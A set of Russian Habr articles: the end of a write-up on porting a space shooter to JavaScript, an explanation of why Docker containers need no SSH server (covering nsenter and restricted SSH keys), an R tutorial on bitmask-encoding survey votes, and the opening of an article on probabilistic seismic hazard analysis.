Корабль игрока может перемещаться в ограниченной области, чтобы не пересекаться с кораблями противников.
Управляется движением мыши или стрелочками `←` и `→`. На экране мобильного телефона тапом и движением по экрану.
Оружие активирует при удержании левой клавиши мыши (тапом и удержанием по экрану на мобильном телефоне).
#### Противники
Для разнообразия на каждом уровне может быть различное число противников, каждый из которых обладает собственным набором оружия, имеет своё значение жизни, различную траекторию движения. противники могут быть обычные или боссами.
| Корабль противника | Жизнь | Тип | Движения | Оружие | Вид |
| --- | --- | --- | --- | --- | --- |
| Чужой 1 | 2 | Обычный | Нормальное горизонтальное | Торпеда | |
| Чужой 2 | 4 | Обычный | Нормальное все направления | Торпеда | |
| Быстрый чужой | 10 | Обычный | Быстрое горизонтальное | Торпеда (Интенсивная) | |
| Фрегат чужого | 10 | Обычный | Нормально-быстрое все направления | Красная плазма | |
| Броневик чужого | 10 | Обычный | Медленное вниз | Торпеда (Очень интенсивная) | |
| Быстрый Фрегат чужого | 30 | Обычный | Медленное вниз (следит за игроком) | Красная плазма (Очень интенсивная) | |
| Красный истребитель | 30 | Обычный | Медленное вниз (следит за игроком) | Синяя плазма | |
| Зелёный истребитель | 30 | Обычный | Быстро вертикально | Синяя плазма | |
| Чужой 1 модификация | 2 | Обычный | Нормальное горизонтальное | Синяя Торпеда | |
| Бомбардировщик | 30 | Обычный | Нормальное все направления (следит за игроком) | Зелёная плазма | |
| Тяжёлый Чужой | 30 | Обычный | Нормальное все направления | Торпеда | |
| Тяжёлый Фрегат Чужого | 35 | Обычный | Нормальное все направления | Синяя Торпеда + Синяя Торпеда | |
| Тяжёлый броневик | 35 | Обычный | Нормальное вниз | Жёлтая Плазма + Жёлтая Плазма + Жёлтая Плазма + Жёлтая Плазма | |
| Линкор | 100 | Босс | Нормальное все направления | Синяя плазма (очень интенсивная) + Зелёная плазма (очень интенсивная) | |
| Крейсер | 250 | Босс | Нормальное все направления | Зелёная плазма (сверх интенсивная) | |
| Тяжёлый Крейсер | 500 | Босс | Быстрое все направления | Жёлтая Плазма + Жёлтая Плазма + Синяя Торпеда + Синяя Торпеда + Синяя Торпеда + Синяя Торпеда + Белая плазма + Белая плазма | |
| Эпичный Тяжёлый Крейсер | 1000 (восстанавливается) | Босс | Быстрое все направления | Жёлтая Плазма + Жёлтая Плазма + Синяя Торпеда + Синяя Торпеда + Синяя Торпеда + Синяя Торпеда + Белая плазма + Белая плазма+ Зелёная плазма (очень интенсивная) | |
JSON-конфигурация противника:
```
"alien10": {
"life": 35,
"weapons": [
{
"weapon": "blueTorpedo",
"position": {
"x": -6,
"y": 0
}
},
{
"weapon": "blueTorpedo",
"position": {
"x": 6,
"y": 0
}
}
],
"sprite": "AlienShip10_1.png",
"movement": "horizontalFast",
"killPoints": 2100
}
```
JSON-конфигурация движения противника :
```
"horizontalFast": {
"movements": [
{
"type": "freeMovement", //freeMovement - обычное, followPlayer - следит за игроком (движется в направление)
"speedDelta": {
"vx": -6,
"vy": 0
},
"intensity": [ //интенсивность движения в виде слотов
{
"min": 20,
"max": 150
},
{
"min": 150,
"max": 350
}
]
}
]
}
```
#### Бонусы
Специальный вид противника
, который не имеет оружия и при уничтожении порождает спрайт с бонусом
, который должен поймать корабль игрока. Если игрок поймает бонус, то увеличивается его уровень (жизнь).
### Уровни
Каждый уровень содержит множество различного вида противников, которые расположены определённым образом. Также уровень может содержать один и более бонусов.
JSON-конфигурация уровня :
```
"2": {
"level": 1,
"enemies": [ // список противников
{
"id": "alien1",
"position": {
"x": 200,
"y": 35
}
},
//...
{
"id": "alien1",
"position": {
"x": 525,
"y": 40
}
}
],
"bonuses": [ // список бонусов
{
"id": "bonus1",
"position": {
"x": 350,
"y": 10
}
}
]
},
```
Выбор JavaScript библиотеки для реализации
------------------------------------------
Я просмотрел множество библиотек графики для JavaScript, но остановился на Hexi JS: <https://github.com/kittykatattack/hexi> .
Возможности библиотеки:
* Простота
* Рисование примитивов
* Рисование просты интерфейсов (кнопки, события)
* Перемещение, масштабирование, вращение
* Рисование спрайтов
+ Анимированные спрайты
+ Работа со спрайтами как с объектами
+ Загрузка спрайтов в виде большой текстуры-атласа. Можно разместить множество изображений в одном файлы и на выходе получить одну большую текстуру и JSON файл с описанием спрайтов (область, смещение)
* Логика столкновений
* Работа с устройствами ввода (клавиатура), тач-скрин.
Пример текстуры-атласа создаваемого с помощью программы TexturePacker
Звуковая библиотека: <https://github.com/kittykatattack/sound.js>
Возможности библиотеки:
* Простота
* Воспроизведение звуков
* Воспроизведение музыки
* Эффекты
Архитектура
-----------
Общая диаграмма классов:
### Ядро игры
#### Класс Main
Является точкой входа и контейнером игрового кода.
**Поля**:
* *resources* — содержит список всех загружаемых ресурсов (текстуры, звук, json)
* *sounds* — словарь звуков: Ключ — название, Значение — путь
* *gameScene* — объект HexiJS на
* *game* — экземпляр объекта Game
* *hexi* — инстанс HexiJS
* *gameStorage* — сохраняет состояние игры в localStorage
**Методы**:
* *init()* — инициализирует HexiJS
* *load()* — загружает ресурсы (текстуры, звук, json)
* *setup()* — устанавливает игровую область, события нажатия кнопок, запускает фоновую музыку
* *playLoop()* — точка изменения состояния игры (считает движение, коллизии, снаряды, перерисовывает пространство).
* *saveGame()* — сохраняет игру
* *loadGame()* — загружает игру
Пример списка ресурсов текущей реализации игры:
```
Main.resources = [
"images/environment1.png",
"images/environment2.png",
"images/environment3.png",
"images/environment4.png",
"images/interface.png",
"images/life-icon.png",
"images/ships-texture.json",
"images/bullet-texture.json",
"sounds/alien-torpedo-shoot.wav",
"sounds/alien-red-plasma-shoot.wav",
"sounds/hero-torpedo-shoot.wav",
"sounds/explode.wav",
"sounds/hero-green-plasma-shoot.wav",
"sounds/alien-green-plasma-shoot.wav",
"sounds/alien-blue-torpedo-shoot.wav",
"sounds/alien-yellow-laser.wav",
"sounds/pulse-plasma.wav",
"sounds/laser.wav",
"sounds/track0.ogg",
"sounds/track1.ogg",
"sounds/track2.ogg",
"sounds/track3.ogg",
"sounds/track4.ogg",
"data/hero-configuration.json",
"data/levels-configuration.json",
"data/enemy-configuration.json",
"data/ui-configuration.json",
];
```
#### Класс Game
Основной класс игры.
**Поля**:
* *level* — информация о уровне. Значение: `{ "wave": 1 //номер волны, "type": 1 }`
* *score* — информация об очках. Значение: `{"points": 0 }`
* *bulletsController* — Экземпляр класса **BulletsController**. Управляет поведение торпед и лазеров оружия
* *enemyController* — Экземпляр класса **EnemyController**. Управляет поведением всех противников на уровне (в т.ч. и бонусами)
* *player* — Экземпляр **Player**
* *hexi* — экземпляр класса Hexi (ссылка)
* *game* — экземпляр объекта Game
* *gameStorage* — экземпляр объекта GameStorage
**Методы**:
* *clearShips()* — очистка всех проиивников, бонусов
* *setupLevel()* — настроить уровень (добавить противников, бонусы, расстановка)
* *nextLevel()* — переход на следующий уровень
* *previousLevel()* — переход на предыдущий уровень
* *forwardLevel()* — перепрыгнуть на несколько уровней вперёд (на 5)
* *rewindLevel()* — перепрыгнуть на несколько уровней назад (на 5)
* *restoreState(gameState: JSON)* — восстановить по объекту gameState
* *resetGame()* — сбросить игру (начать сначала)
* *update()* — обновить игровой мир
* *enemyDestroyed()* — обработчик срабатывает при уничтожении всех противников
#### Класс GameStorage
Сохраняет и загружает состояние игры .
**Поля**:
* *game* — экземпляр объекта Game
**Методы**:
* *save()* — сохранить состояние игры
* *load()* — загрузить состояние игры
#### Класс InputDevice
Работает с событиями устройств ввода: click и touch кнопок, нажатие клавиш клавиатуры.
**Поля**:
* *game* — экземпляр объекта Game
**Методы**:
* *init()* — инициализирует все обработчики события и callback'и
* *loadTapped()* — нажата кнопка "Load"
* *storeTapped()* — нажата кнопка "Store"
* *resetTapped()* — нажата кнопка "Reset"
* *pauseTapped()* — нажата кнопка "Pause"
### Иерархия классов действующих лиц
#### Actor
Класс участника.
**Поля**:
* *hexi* — экземпляр класса Hexi (ссылка)
* *game* — экземпляр объекта Game
* *life* — текущее значение жизни
* *initialLife* — начальное значение жизни
* *sprite* — экземпляр класса Hexi.Sprite
* *shipConfiguration* — конфигурация бонуса
**Методы**:
* *move()* — переместить действующее лицо
* *update()* — обновить действующее лицо
* *setPosition(position: {x, y})* — установить по координатам
#### WeaponedActor
Класс участника (противник или игрок) обладающем оружием.
**Поля**:
* *automatedWeapons* — массив автоматических оружий
* *canShoot* — может ли стрелять
* *isWeaponShooting* — активно ли оружие
**Методы**:
* *startShoot()* — запустить выстрелы оружием
* *stopShoot()* — остановить выстрелы оружием
* *onShootStarted()* — обработчик события, что запущены выстрелы оружием
* *onShootStopped()* — обработчик события, что остановлены выстрелы оружием
* *updateShooting()* — выполняет алгоритмы выстрелов
#### Enemy
Класс противника.
**Поля**:
* *type* — тип противника
* *syncWeapons* — массив конфигураций для синхронного оружия
* *movementEngine* — экземпляр класса **MovementEngine**
**Методы**:
* *setWeapon()* — установить оружие используя текущую конфигурацию
* *shootWithWeapon()* — выполняет выстрел противником
* *setLifeLine()* — рисует линию жизни противника
* *hit()* — проверяет столкновение торпед (лазера) игрока с текущим противником
#### MovementEngine
Класс управляющий движением.
Для придания сложности движения, используется конфигурация со слотами. В каждом слоте задаётся вектор направления vx, vy и интенсивность. Имеется возможность отключения отражения от нижней границы и режим слежения за игроком (противник всегда движется за игроком).
**Поля**:
* *movementsConfiguration* — конфигурация движения
* *firstMovementConfiguration* — первый элемент из списка конфигураций
* *movementItensity* — интенсивность движения
* *movementItensityCounter* — счётчик интенсивности движения
* *movementItensitySlot* — номер слота интенсивности
* *isBounceBottom* — флаг на проверку отражения от нижней границы. Если false, то противник не отражается от нижней границы
**Методы**:
* *setMovement()* — настраивает движение
* *updateMovement()* — обновляет движение по конфигурации движения
#### Player
Класс игрока.
**Поля**:
* *weapons* — массив оружия игрока
* *collisionSprite* — спрайт коллизии (торпеды противника сталкиваются со спрайтом коллизии, а не спрайтом игрока)
* *weaponLifeLevels* — значения уровня жизни для проверки на апгрейд оружия
* *invisibilityCounter* — счётчик невидимости от торпед (нужен для того, чтобы при столкновении с торпедой противника игрок стал временно недосягаем для других торпед)
**Методы**:
* *upgrade()* — апгрейд игрока (+1 жизнь)
* *downgrade()* — даунгрейд игрока (+1 жизнь)
* *shootWithLaser(currentWeapon, weapon)* — выстрел лазером
* *shootWithBullets(currentWeapon, weapon)* — выстрел торпедой
* *setWeapon()* — установить оружие используя текущую конфигурацию
* *setLife(life: number)* — установить значение жизни (меняет оружие в соответствии со значением жизни)
* *hitUpgrade(upgradeItem)* — проверить столкновение со спрайтом апгрейда
#### Bonus
Класс Бонуса. При уничтожении порождает спрайт апгрейда.
**Поля**:
* *type* — тип бонуса
* *movementEngine* — экземпляр класса **MovementEngine**
* *upgradeBonus* — конфигурация апгрейда
**Методы**:
* *shootWithUpgrade(upgradeBonus: JSON)* — породить спрайт апгрейда
#### EnemyController
Управляет состоянием противников, бонусов, апгрейдами.
**Поля**:
* *enemies* — массив всех противников на уровне
* *bonuses* — массив всех бонусных кораблей на уровне
* *player* — объект игрока
* *upgrades* — массив всех спрайтов апгрейда
**Методы**:
* *isLevelCompleted()* — проверка на завершённость уровня (уничтожены все противники и бонусы, пойманы апгрейды)
* *update()* — обновляет состояние всех противников
* *clear()* — очистка уровня от проиивников, бонусов
#### BulletsController
Управляет состоянием торпед (перемещение), лазерами игрока и противников.
**Поля**:
* *playerBullets* — массив торпед игрока
* *enemyBullets* — массив торпед всех противников
* *explosionSplashes* — массив спрайтов взрыва
* *playerLaser* — состояние спрайта лазера игрока (Если оружие доступно).
**Методы**:
* *update()* — обновляет состояние всех торпед, лазеров
* *clear()* — очищает уровень от всех торпед, лазеров
* *updatePlayerBullets()* — изменяет состояние всех торпед игрока
* *updatePlayerLaser()* — изменяет состояние лазера игрока
* *updateEnemyBullets()* — изменяет состояние всех торпед противника
* *updateExplosions()* — изменяет состояние всех взрывов
Выводы
------
Я постарался достаточно подробно рассказать как портировать существуюшую игру на JavaScript.
Игру можно модифицировавть и снабдить своими текстурами, музыкой, сделать собственную конфигурацию уровня или вариацию всей игры.
Очень хотелось бы получить от вас комментарии по архитектуре игры, варианты рефакторинга, по именованию методов и т.д.
Согласен, архитектура не очень идеальная и есть куда стремиться!
Спасибо и интересных Вам проектов!
Ссылки
------
<http://laseroid.azurewebsites.net/> — сама игра
<https://github.com/EntityFX/laseroid> — исходный код игры | https://habr.com/ru/post/508850/ | null | ru | null |
# Почему вам не нужен sshd в Docker-контейнере
Когда люди запускают своей первый Docker-контейнер, они часто спрашивают: «А как мне попасть внуть контейнера?» и ответ «в лоб» на этот вопрос, конечно: «Так запустите в нём SSH-сервер и приконнектитесь!». Цель этого топика — показать, что на самом деле вам не нужен sshd внутри вашего контейнера (ну, конечно, кроме случая, когда ваш контейнер собственно и предназначен для инкапсуляции SSH-сервера).
Запустить SSH-сервер — заманчивая идея, поскольку это даёт быстрый и простой доступ «внутрь» контейнера. Все умеют пользоваться SSH-клиентами, мы делаем это каждый день, мы знакомы с доступами по паролям и по ключам, перенаправлением портов, ну и вообще доступ по SSH — хорошо знакомая вещь, точно будет работать.
Но давайте подумаем ещё.
Давайте представим себе, что вы собираете Docker-образ для Redis или веб-сервиса на Java. Я хотел бы задать вам несколько вопросов:
**Зачем Вам ssh?**
Скорее всего вы хотите делать бекапы, проверять логи, может быть перезапускать процессы, править настройки, отлаживать что-то с помощь gdb, strace или подобных утилит. Так вот, это можно делать и без SSH.
**Как вы будете управлять ключами и паролями?**
Вариантов не много — либо вы их «намертво» зашьёте в образ, либо положите на внешний том. Подумайте, что нужно будет сделать для обновления ключей или паролей. Если они будут вшиты — придётся пересобирать образ, передеплоивать его, перезапускать контейнеры. Не конец света, но как-то не элегантно. Значительно лучшим решением будет положить данные на внешний том и управлять доступом к нему. Это работает, но важно проверить, чтобы контейнер не имел доступа на запись в данный том. Ведь если доступ будет — контейнер может повредить данные, и тогда вы не сможете подсоединиться по SSH. Что ещё хуже — если один том будет использоваться в качестве средства хранения данных для аутентификации в несколько контейнеров — вы потеряете доступ сразу ко всем. Но это только если вы везде будете использовать доступ по SSH.
**Как вы будете управлять обновлениями безопасности?**
SSH-сервер это вообще-то достаточно надёжная штука. Но всё-же это окно во внешний мир. А значит нам нужно будет устанавливать обновления, следить за безопасностью. Т.е. в любом самом что ни на есть безобидном контейнере у нас теперь будет область, потенциально уязвимая ко взлому извне и требующая внимания. Мы своими руками создали себе проблему.
**Достаточно ли «просто добавить SSH-сервер» чтобы всё работало?**
Нет. Докер управляет и следит за одним процессом. Если вы хотите управлять несколькими процессами внутри контейнера — вам понадобится что-то типа Monit или Supervisor. Их тоже нужно добавить в контейнер. Таким образом мы превращаем простую концепцию «один контейнер для одной задачи» во что-то сложное, что нужно строить, обновлять, управлять, поддерживать.
**Вы ответственны за создание образа контейнера, но вы также ответственны и за управление политиками доступа к контейнеру?**
В маленьких компаниях это не имеет значения — скорее всего вы будете выполнять обе функции. Но при построении большой инфраструктуры скорее всего один человек будет создавать образы, и совсем другие люди будут заниматься управлением правами доступа. А значит «вшивание» SSH-сервера в контейнер — не лучший путь.
#### **Но как же мне ...**
##### **Делать бекапы?**
Ваши данные должны храниться на внешнем томе. После этого вы можете запустить другой контейнер с опцией --volumes-from, который будет иметь доступ к тому же тому. Этот новый контейнер будет специально для выполнения задач бекапа данных. Отдельный профит: в случае обновления\замены инструментов бекапа и восстановления данных вам не нужно обновлять все контейнеры, а только тот один, который предназначен для выполнения этих задач.
##### **Проверять логи?**
Используйте внешний том! Да, снова то же самое решение. Ну а что поделаешь, если оно подходит? Если вы будете писать все логи в определённую папку, а она будет на внешнем томе, вы сможете создать отдельный контейнер («инспектор логов») и делать в нём всё, что вам нужно. Опять таки, если вам нужны какие-то специальные инструменты для анализа логов — их можно установить в этот отдельный контейнер, не замусоривая исходный.
##### **Перезапустить мой сервис?**
Любой правильно спроектированный сервис может быть перезапущен с помощью сигналов. Когда вы выполняете команду ***foo restart*** — она практически всегда посылает процессу определённый сигнал. Вы можете послать сигнал с помощь команды ***docker kill -s*** . Некоторые сервисы не реагируют на сигналы, а принимают команды, например из TCP-сокета или UNIX-сокета. К TCP-сокету вы можете приконнектиться извне, а для UNIX-сокета — опять-таки используйте внешний том.
**«Но это всё сложно!»** — да нет, не очень. Давайте представим, что ваш сервис foo создаёт сокет в ***/var/run/foo.sock*** и требует от вас запуска ***fooctl restart*** для корректного перезапуска. Просто запустите сервис с ***-v /var/run*** (или добавьте том ***/var/run*** в Dockerfile). Когда вы хотите перезапустить сервис, запустите тот же образ, но с ключом ***--volumes-from***. Это будет выглядеть как-то так:
```
# запуск сервиса
CID=$(docker run -d -v /var/run fooservice)
# перезапуск сервиса с помощью внешнего контейнера
docker run --volumes-from $CID fooservice fooctl restart
```
##### **Отредактировать конфигурацию?**
Во-первых следует отличать оперативные изменения конфигурации от фундаментальных. Если вы хотите изменить что-то существенное, что должно отразиться на всех будущих контейнерах, запущенных на основе данного образа — изменение должно быть вшито в сам образ. Т.е. в этом случае SSH-сервер вам не нужен, вам нужна правка образа. «Но как же оперативные изменения?» — спросите вы. «Ведь мне может быть нужно менять конфигурацию по ходу работы моего сервиса, к примеру, добавить виртуальные хосты в конфиг веб-сервера?». В этом случае вам нужно использовать… подождите-подождите… внешний том! Конфигурация должна быть на нём. Вы даже можете поднять специальный контейнер с ролью «редактор конфигов», если хотите, установить там любимый редактор, плагины к нему, да что угодно. И это всё никак не будет влиять на базовый контейнер.
«Но я делаю всего лишь временные правки, экспериментирую с разными значениями и смотрю на результат!». Ок, для получения ответа на этот вопрос читайте следующий раздел.
##### **Отлаживать мой сервис?**
И вот мы добрались до случая, когда вам действительно нужен настоящий консольный доступ «внутрь» вашего контейнера. Вам ведь нужно где-то запускать gdb, strace, править конфигурацию, и т.д. И в этом случае вам понадобиться ***nsenter***.
#### **Что такое nsenter**
***nsenter*** это маленькая утилита, позволяющая вам попадать внутрь пространств имён ([namespaces](http://blog.dotcloud.com/under-the-hood-linux-kernels-on-dotcloud-part)). Строго говоря, она может как входить в уже существующие пространства имён, так и запускать процессы в новых пространствах имён. «Что это вообще за пространства имён, о которых мы тут говорим?». Это важная концепция, связанная с Docker-контейнерами, позволяющая им быть независимыми друг от друга и от родительской операционной системы. Если не углубляться в детали: с помощью ***nsenter*** вы можете получить консольный доступ к существующему контейнеру, даже если внутри него нет SSH-сервера.
##### **Где взять nsenter?**
С Гитхаба: [jpetazzo/nsenter](https://github.com/jpetazzo/nsenter). Можете запустить
```
docker run -v /usr/local/bin:/target jpetazzo/nsenter
```
Это установит ***nsenter*** в ***/usr/local/bin*** и вы сразу сможете его использовать. Кроме того, в некоторых дистрибутивах ***nsenter*** уже встроен.
##### **Как его использовать?**
Сначала выясните PID контейнера, внутрь которого хотите попасть:
```
PID=$(docker inspect --format {{.State.Pid}} )
```
Теперь зайдите в контейнер:
```
nsenter --target $PID --mount --uts --ipc --net --pid
```
Вы получите консольный доступ «внутрь» контейнера. Если вы хотите сразу запустить скрипт или программу — добавьте их аргументом к ***nsenter***. Работает слегка похоже на ***chroot***, с той лишь разницей, что касаемо контейнеров, а не просто директорий.
##### Как на счёт удалённого доступа?
Если вам нужен удалённый доступ к докер-контейнеру, у вас есть как минимум два способа сделать это:
* SSH на хост-машину, а дальше использование ***nsenter***
* SSH на хост-машину со специальным ключом, дающим возможность запустить определённую команду (в нашему случае — ***nsenter***)
Первый путь достаточно прост, но он требует прав рута на хостовой машине (что с точки безопасности не очень хорошо). Второй путь предполагает использование специальной возможности "***command***" авторизационных ключей SSH. Вы наверняка видел «классический» ***authorized\_keys*** типа вот такого:
```
ssh-rsa AAAAB3N…QOID== jpetazzo@tarrasque
```
(Конечно, реальный ключ намного длиннее.) Вот в нём вы и можете указать определённую команду. Если вы хотите дать определённому пользователю проверять количество свободной ОЗУ на вашей машине, используя SSH-доступ, но не хотите давать ему полный доступ к консоли, вы можете написать в ***authorized\_keys*** следующее:
```
command="free" ssh-rsa AAAAB3N…QOID== jpetazzo@tarrasque
```
Теперь, когда пользователь приконнектиться с использованием этого ключа, сразу будет запущена команда free. И ничего другого не может быть запущено. (Технически, вы возможно захотите добавить ***no-port-forwarding***, смотрите детали в manpage по ***authorized\_keys***). Идея этого механизма в разделении полномочий и ответственности. Алиса создаёт образы контейнеров, но не имеет доступа к продакшн-серверам. Бетти имеет право на удалённый доступ для отладки. Шарлотта — только на просмотр логов. И т.д.
#### **Выводы**
Действительно ли это ну вот прямо УЖАСНО запускать SSH-сервер в каждом Docker-контейнере? Давайте будем честными — это не катастрофа. Более того, это может быть даже единственным вариантом, когда у вас нет доступа к хостовой системе, но непременно нужен доступ к самому контейнеру. Но, как мы увидели из статьи, есть много способов обойтись без SSH-сервера в контейнере, имея доступ ко всему необходимому функционалу и получив в то же время весьма более элегантную архитектуру системы. Да, в докере можно сделать и так, и так. Но перед тем как превращать свой Docker-контейнер в такой себе «мини-VPS», убедитесь, что это правда необходимо. | https://habr.com/ru/post/237737/ | null | ru | null |
# О бедном бите замолвите слово
*Н. Кобринский, В. Пекелис «Быстрее мысли» — Молодая гвардия, 1959*
Когда все вокруг измеряют Гигабайтами, Петабайтами, Зетабайтами и т.д., все компании гордятся своей БигДатой, вспоминать о битах в приличном обществе воспринимается как моветон. Однако и биты иногда бывают полезны. Темой для разговора послужила одна типовая классическая задачка, лежащая в области опросов.
Является продолжением [серии предыдущих публикаций](https://habrahabr.ru/users/i_shutov/posts/).
Постановка задачи
=================
В компании X происходит очередной ребрендинг. Пригласили дорогостоящих спецов, они выкатили на общественное голосование 6 вариантов логотипов. Тут и «стремительная I» и «бесконечно многогранная O» и «гибкая W» и «строгий графит» и «веселый лайм»...
Собрали с сотрудников ответы, каждый должен был написать набор чисел из множества [1; 6], соответствующих понравившимся логотипам. Некоторые были четко уверены и указали только один вариант. Другие занимали различные точки зрения и указали все 6. Третьи выбрали умеренность и указали что-то посерединке.
Получили мы на вход примерно такой набор данных по которому надо выбрать самый популярный логотип.
```
uid vote
1: id001 6,5,3
2: id002 5,3,4,2,1
3: id003 2,5,4,3
4: id004 1,4
5: id005 2,3,5,1
6: id006 3
7: id007 6,3
8: id008 2,5,6,4,3
```
Задача простая, решается миллионом разных способов. Но попробуем немного добавить в нее разнообразия.
Вариант 1
=========
Классический выпускник DS курсов предложит все это преобразовать в прямоугольную таблицу и потом, возможно путем pivot преобразований, посчитать различные отношения. Засада в неквадратности данных, но это вполне обходимо.
На выходе может получиться примерно такой код:
```
library(tidyverse)
# эмулируем данные
df <- tibble(
id = 1:3,
answer_1 = rep(1, 3),
answer_2 = rep(2, 3),
answer_3 = c(3, NA, NA),
answer_4 = c(4, NA, 4),
answer_5 = rep(5, 3),
answer_6 = rep(6, 3)
)
df %>%
pivot_longer(-id, names_to = NULL, values_to = "brand_id") %>%
filter(!is.na(brand_id)) %>%
group_by(id) %>%
summarise(
recognized_brands = list(brand_id),
unrecognized_brands = map(recognized_brands, function(x) setdiff(x = 1:6, y= x))
) %>%
unnest_longer(recognized_brands) %>%
unnest_longer(unrecognized_brands) %>%
pivot_longer(-id, names_to = "type", values_to = "brand_id") %>%
filter(!is.na(brand_id)) %>%
distinct() %>%
group_by(brand_id, type) %>%
summarise(N = n()) %>%
pivot_wider(names_from = type, values_from = N, values_fill = 0) %>%
mutate(brand_recognition = recognized_brands / (recognized_brands + unrecognized_brands))
```
Получаем примерно такой ответ:
```
# A tibble: 6 x 4
# Groups: brand_id [6]
brand_id recognized_brands unrecognized_brands brand_recognition
1 1 3 0 1
2 2 3 0 1
3 3 1 2 0.333
4 4 2 1 0.667
5 5 3 0 1
6 6 3 0 1
```
Неплохо, результат получен. Чего еще хотеть?
Вариант 2
=========
Если нас никак не интересуют показатели в разрезе отдельных сотрудников, то мы можем поступить чуть проще. Свалим все в кучу и в ней же посчитаем.
Прямо Спортлото какое-то. Куча шаров и 6 цифр.
```
library(tidyverse)
# подготовим тестовые данные =============
df <- tibble(uid = sprintf("id%03d", 1:100)) %>%
rowwise() %>%
mutate(vote = list(sample(1:6, runif(1, 1, 6)))) %>%
ungroup()
# расчеты
unlist(df$vote) %>%
janitor::tabyl()
```
Получаем ответ в одну строчку
```
. n percent
1 54 0.1703470
2 55 0.1735016
3 52 0.1640379
4 52 0.1640379
5 52 0.1640379
6 52 0.1640379
```
Вариант 3
=========
Предположим, что нам будет важна исходная таблица по распределению ответов каждого сотрудника в Excel. Т.е. все эти циферки 1..6 надо разнести по 6-ти колонкам. Вариант 1 мы уже имеем с преобразованиями из длинного в широкое и наоборот.
Но есть и другой веселый способ. Используем его, чтобы поговорить про биты и [двоичную систему счисления](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F).
Что есть таблица ответов? По сути, это матрица с 0 и 1, где колонки соответствуют номеру логотипа, а строчки — мнению каждого отдельного сотрудника. Если ответ бинарен, а позиций всего 6, то у нас есть прекрасная возможность использовать двоичное представление чисел для кодирования ответов.
Не будем морочиться с сопоставлением номеров ответов с соответствующими колонками, не будем заниматься сортировкой ответов. За нас все сделает машина.
Просто скомпонуем числа, размещая 1 в тех битах, которые соотв. заполненным номерам. Делаем это с помощью суммы степеней двойки (см. картинку). Дальше можно провести битовые векторизированные вычисления с применением AND по соответствующему разряду, сдвигу вправо или же можем просто преобразовать в матрицу.
```
library(tidyverse)
library(bitops)
# подготовим тестовые данные =============
df <- tibble(uid = sprintf("id%03d", 1:100)) %>%
rowwise() %>%
mutate(vote = list(sample(1:6, runif(1, 1, 6)))) %>%
ungroup()
# решаем задачу =============
# конструируем битовую маску ответов для каждого человека
res_df <- df %>%
rowwise() %>%
mutate(mask = sum(2^vote),
logo = matrix(
as.logical(bitAnd(mask, c(1, 2, 4, 8, 16, 32))),
nrow = 1)
) %>%
ungroup()
# матрицу преобразуем в целочисленную
mm <- res_df$logo * 1L
sum(mm)
# считаем по колонкам
colMeans(mm)
colSums(mm)
```
Заключение
==========
Грузить и трансформировать Большие Данные — важная и нужная задача. Но если вспоминать про базовые вещи, то иногда задачи можно решать веселее и экономнее. И иногда спускаться из облаков и петабайтов и вспоминать про существование битов.
Предыдущая публикация — [«Забираем большие маленькие данные по REST API»](https://habr.com/ru/post/592651/). | https://habr.com/ru/post/596399/ | null | ru | null |
# Вероятностный анализ сейсмической опасности
Причиной написания этой статьи стала распространенная рядом СМИ [информация](https://ria.ru/science/20171220/1511300109.html) о прогнозе «мощнейшего» землетрясения, которое может произойти в ближайшие 30 лет в Японии и на Курилах с вероятностью до 40%. Ссылались журналисты на японских ученых. Нам удалось найти оригинал статьи, откуда, по всей видимости, и взяты сведения. Она была опубликована 20 декабря в [Japan News](http://www.the-japan-news.com/news/article/0004136947) и сейчас находится в платном архиве, но у нас есть замечательный ресурс [wayback machine](https://web.archive.org/web/20171222013225/http://www.the-japan-news.com/news/article/0004136947).
Ниже мы постараемся разобрать, о чем же действительно первоисточник, погружаясь в дебри математики и основы вероятностного анализа сейсмической опасности. Если в двух словах, то японские сейсмологи дали не прогноз мега-землетрясения на Курилах, а описали модельные характеристики сейсмических источников, которые учитываются при составлении карт сейсмического районирования со сроком службы зданий и сооружений на ближайшие 30 лет. Попытаемся произвести вычисления. Без суперкомпьютеров…
Итак, главная задача сейсмического районирования – определение наиболее вероятных сейсмических воздействий. Термин «наиболее» мы ниже расшифруем. Для начала запишем простую математику и введем некоторые термины, понятные для большинства читателей даже более-менее знакомых с теорией вероятностей и математической статистикой. Для определенности сейсмические воздействия будем измерять в физических параметрах ускорения. Скажем, пиковое ускорение грунта `0.7g` (где `g=9.81 м/с^2` – ускорение свободного падения) соответствует интенсивности сотрясений около IX баллов, а IX баллов – это катастрофа.
У каждого землетрясения есть своя магнитуда M. Это величина, которая характеризует силу (размер разрыва, энергию и т.д.) в очаге. Не путать с баллом! Балл – это уже проявление сотрясаемости на поверхности, то есть ощущаемость. Чем ближе к эпицентру, тем интенсивнее колеблется поверхность Земли, тем выше уровень сейсмических воздействий, а удаляясь от эпицентра, сейсмические сигналы затухают. Это фундаментальное свойство, присущее всем сигналам в сплошной среде. Назовем его законом затухания сейсмических воздействий. Очевидно, что разрушает здание не магнитуда, а пиковые ускорения грунта, которые превышают некоторый предельный уровень, заложенный при проектировании и строительстве (рис. 1).
***Рисунок 1.** Последствия [Невельского землетрясения 2007 года](https://ru.wikipedia.org/wiki/%D0%97%D0%B5%D0%BC%D0%BB%D0%B5%D1%82%D1%80%D1%8F%D1%81%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%9D%D0%B5%D0%B2%D0%B5%D0%BB%D1%8C%D1%81%D0%BA%D0%B5_(2007))*
Модель затухания пикового ускорения грунта (peak ground acceleration) задается посредством функции `g(m,r)`, которая определяет зависимость среднего значения (натурального) логарифма пикового ускорения грунта `ln PGA` от события с магнитудой `m` и на расстоянии `r`. Данная функция представляется регрессионным соотношением (рис. 2), построенным на основе региональной базы акселерограмм, полученных при помощи сети акселерографов. Обычно она имеет вид:
где `c_1, c_2, c_3, c_4, c_5, c_6, c_7` – регрессионные коэффициенты, а `F` и `S` описывают соответственно зависимость от типа разлома (Fault) и характеристик грунта (Soil).
***Рисунок 2.** Кривая затухания пиковых ускорений грунта с расстоянием для землетрясения с магнитудой M=5.8: 1 – измеренные значения, 2 – региональная регрессия, 3 – доверительный интервал ±σ, 4 – плотностная функция стандартного нормального распределения натурального логарифма пикового ускорения на расстоянии 10 км от очага, 5 – уровень пиковых ускорений 0.7g.*
